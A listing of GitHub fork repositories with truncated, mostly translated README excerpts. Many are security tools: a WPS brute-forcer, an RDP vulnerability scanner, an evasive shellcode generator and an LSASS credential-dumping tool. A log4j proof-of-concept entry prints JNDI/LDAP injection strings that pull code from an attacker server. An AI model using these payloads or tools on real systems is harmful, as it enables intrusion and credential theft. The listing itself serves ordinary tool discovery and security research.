reaver-wps-fork-t6x

概述 Reaver 实现了一种针对 Wifi Protected Setup WPS 注册器 PIN 的 暴力破解攻击 ，以恢复 WPA/WPA2 密码 ，正如 Stefan Viehböck 在 《当糟糕的设计遇上糟糕的实现：暴力破解 Wi-Fi Protected Setup》 中所描述。 Reaver 被设计为一种针对 Wi-Fi Protected Setup WPS 注册器 PIN 的稳健且实用的攻击工具，用于 恢复 WPA/WPA2 密码 ，并已针对多种接入点和 WPS 实现进行了测试。 根据目标接入点 AP 的不同 ，传统的 在线暴力破解 方法恢复明文 WPA/WPA2 密...

kali-cloud

Kali-Cloud 构建脚本 通过FAI（全自动安装）构建 Kali Linux 云镜像，fork 自 Debian Cloud Images。 这些正是 Kali 团队 用来生成官方 Kali Linux 云镜像的同一套构建脚本，官方镜像可在 kali.org/get-kali/ 找到。 更多信息，请参阅：kali.org/docs/cloud/ 以及 kali.org/docs/troubleshooting/common-cloud-setup/。 今天就构建你的 Kali！ 前置条件 我们建议在与目标架构相匹配的 Linux 主机上进行构建。 有多种方式可以准备好使用...

deepsecrets

DeepSecrets - シークレットスキャンのためのより良いツール !WARNING アクティブな開発は作成者のフォーク（https://github.com/ntoskernel/deepsecrets）に移行しました。このリポジトリは今後更新されません。...

IronFox

IronFox F-Droid QR Code: IronFox is a fork of Divested Computing Group's Mull Browser, based on Mozilla Firefox. Our goal is to continue the legacy of Mull by providing a free and open source, privacy and security-oriented web browser for daily use. !TIP Find a bug? Encounter an annoying problem?...

boofuzz

.. image:: https://github.com/jtpereyda/boofuzz/raw/master/artwork/boo-logo-dark.svg :width: 60% :alt: boofuzz ロゴ boofuzz: 人間のためのネットワークプロトコルファジング .. image:: https://github.com/jtpereyda/boofuzz/actions/workflows/test.yml/badge.svg?branch=master :target:...

atproto

Blacksky AppView 这是Blacksky社区对AT协议参考实现（由Bluesky Social PBC开发）的一个分支。它驱动着位于 api.blacksky.community 的 AppView。 我们发布此代码是为了透明，并让其他社区也能从中受益。本仓库不接受贡献、issue 或 PR。 如果你需要规范的 atproto 实现，请使用 bluesky-social/atproto。 不同之处 所有变更都在 packages/bsky（AppView 逻辑）、services/bsky（运行时配置）以及一个自定义迁移文件中。其余部分均与上游保持一致。 为何不使用内置的...

aerleon

Aerleon 単一のプラットフォームに依存しない設定言語から、コマンドラインツールとPython APIを通じて複数のファイアウォールプラットフォーム向けのファイアウォール設定を生成します。 AerleonはCapircaのフォークであり、以下の主要な追加機能を備えています： YAML形式のポリシーおよびネットワーク定義ファイル、およびCapircaポリシーDSLからYAMLへの変換ツールpol2yaml。 FQDNデータを含むネットワーク定義。 プラグインを通じて新しいファイアウォールプラットフォームを追加可能。 ACL生成およびaclcheckクエリのための型付きPython AP...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 扫描器 PoC，作者 @JaGoTu 和 @zerosum0x0。 本仓库内容 这是 rdesktop 的一个扫描分支，用于检测主机是否存在 CVE-2019-0708 Microsoft Windows 远程桌面服务远程代码执行漏洞 的风险。 它不会导致拒绝服务，但对于历年来所有受影响的 RDP 协议栈版本，并无 100% 的保证。 此外还有一个 Metasploit 模块，目前仍在开发中（MSF 没有 RDP 库）。 构建 提供预编译的二进制文件，但从源码构建的步骤如下： git clone...

Fritter

Fritter Donut 的规避型近亲。 Fritter 是 TheWover 和 Odzhan 的 Donut shellcode 生成器的一个重度修改分支。它生成用于在内存中执行 VBScript、JScript、EXE、DLL 和 .NET 程序集的位置无关 shellcode，重点在于规避与抗特征检测。该代码库仅支持 x64。 不同之处 很多。 Fritter 移除了不太常用的功能，并替换了多年来已形成明显特征码的内部实现。除其他许多方面外，加密、压缩、哈希和 API 解析层均已重新设计。...

gopacket

GoPacket 该库为 Go 提供数据包解码能力。 更多详情请参见 godoc。 所需最低 Go 版本为 1.5，但 pcapgo/EthernetHandle、afpacket 和 bsdbpf 除外，由于 x/sys/unix 依赖，它们至少需要 1.9 版本。 最初从 Andreas Krennmair [email protected] 编写的 gopcap 项目派生而来 http://github.com/akrennmair/gopcap。...

www-community

OWASP社区页面 OWASP社区页面是一个用于社区贡献安全相关内容的仓库。这里的文档构成了 https://owasp.org/www-community/ 网站。 贡献方式 我们欢迎为新内容和现有页面的更新做出贡献。此仓库使用复刻和拉取模型。以下是成为贡献者的步骤： 1. 复刻此仓库并克隆您的复刻。 2. 在 pages/ 目录中进行更改或添加。对于创建新内容，请参阅下面的“创建新内容”部分。 3. 将您的更改推送到您的复刻，然后对此仓库发起拉取请求。 如果您正在更改解决现有问题的内容，请在该问题中发表评论，以便我们将其分配给您。这有助于避免意外重复工作。 创建新内容 进入 page...

log4j-exploit-fork-bomb

log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: 利用 CVE-2021-44228 漏洞在远程服务器上启动 fork bomb 的示例 1. 创建攻击者的 LDAP 服务器（server 模块），该服务器将提供字符串和代码的表示（payload 模块） 2. 创建受害者示例（victim 模块），并将字符串传递给 Log4j JRE 版本 = 6u211, 7u201, 8u191 和 11.0.1 $jndi:ldap://127.0.0.1:1389/anything $jndi:ldap://127.0.0.1:1389/jar...

boringssl

BoringSSL BoringSSL 是 OpenSSL 的一个分支，旨在满足 Google 的需求。 尽管 BoringSSL 是一个开源项目，但它并不像 OpenSSL 那样面向通用用途。我们不建议第三方依赖它。这样做很可能会令人沮丧，因为不保证 API 或 ABI 的稳定性。 程序在使用 BoringSSL 时会自带其副本，当决定进行 API 更改时，我们会按需更新所有内容。这让我们能够在兼容性方面尽量避免妥协。这对我们有效，但可能对您无效。 BoringSSL 的诞生是因为 Google 多年来以多种方式使用 OpenSSL，并随着时间的推移积累了大量补丁，这些补丁在跟踪上游...

BlueHound

BlueHoundは、ブルーチームが実際に重要となるセキュリティ問題を特定するのに役立つオープンソースツールです。ユーザー権限、ネットワークアクセス、未修正の脆弱性に関する情報を組み合わせることで、攻撃者がネットワーク内部に侵入した場合に取る経路を明らかにします。 これはNeoDashのフォークであり、防御セキュリティ目的に適するように再設計されています。 BlueHoundを始めるには、導入ビデオ、ブログ記事、Nodes22カンファレンストークをご覧ください。...

POSTDump

POSTDump 另一个使用少量技术来避免检测的执行LSASS进程minidump的工具。 POSTDump 是 ReactOS minidump 函数（如 nanodump）的 C/.NET 实现，从而避免调用 Windows API MiniDumpWriteDump 函数。转储逻辑代码保存在 POSTMinidump 项目下，请随意用于你自己的项目。 与 NanoDump 类似，你可以为 minidump 加密或使用无效签名。 支持使用 ProcExp 驱动程序来转储/终止受保护的进程。 使用方法 c:\TempPostDump.exe --help "PPL DISABLED\n...

proxmark3

Iceman Fork - Proxmark3 El Proxmark3 es la navaja suiza de RFID, permitiendo interacciones con la gran mayoría de etiquetas RFID a escala global. Construido originalmente por Jonathan Westhues, el dispositivo es ahora la herramienta de referencia para el análisis RFID para los entusiastas. El...

Malicious code in express-fork (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 174daf2d7b9b396bb40a2ad347597eb7d1e829c46e4568e9700302e8aaceee3d [email protected] is a typosquat of the express package. Its package.json metadata description, author, repository, keywords is copied verbatim from...

spamassassin

Apache SpamAssassin 用于测试的 GitHub Actions Apache SpamAssassin 项目使用一个 subversion 仓库进行开发。该仓库的只读镜像托管在 GitHub 此处。 包含本 README 文件的 .github 目录并非 Apache SpamAssassin 发布包的一部分。该目录中的文件旨在供开发人员使用 GitHub 托管的运行器上的 GitHub Actions 功能来运行测试。 Apache SpamAssassin 项目管理委员会尚未就使用 GitHub 分配给 Apache...

rizin

Rizin Rizin 是一个逆向工程框架，源自 radare2 的分支，注重可用性、功能和整洁性。 Rizin 具有可移植性，可用于分析二进制文件、反汇编代码、调试程序，作为取证工具，作为能够打开磁盘文件的可脚本化命令行十六进制编辑器，以及更多用途！ 如果你想了解更多关于 Rizin 的信息，可以阅读官方 Rizin 书籍。 如何安装 请在我们的网页上查看安装说明。 如何构建 使用 meson 来编译和安装 Rizin。请确保获得更新版的 meson（例如，如果你的系统没有至少 0.55.0 版本，可以用 pip install meson 获取）。 克隆此仓库： $ git clon...

open-klara

Open KLara Open KLara 是 卡巴斯基实验室的 KLara 的一个社区驱动分支——一个使用 Yara 规则扫描大型恶意软件集合的分布式系统。 本项目由社区维护，与卡巴斯基实验室无关。 功能特性 Web 界面 — 提交即忘的 Yara 扫描，支持邮件通知（文档） REST API — 以编程方式提交任务并获取结果（文档） 分布式扫描 — 调度器-工作节点模型，可在商用硬件上横向扩展（架构） 快速开始 请参阅快速入门教程以开始使用。 完整的安装说明请参阅安装指南。 文档 完整文档位于 docs/ 中，按 Diátaxis 框架组织： 章节| 描述 ---|--- 教程|...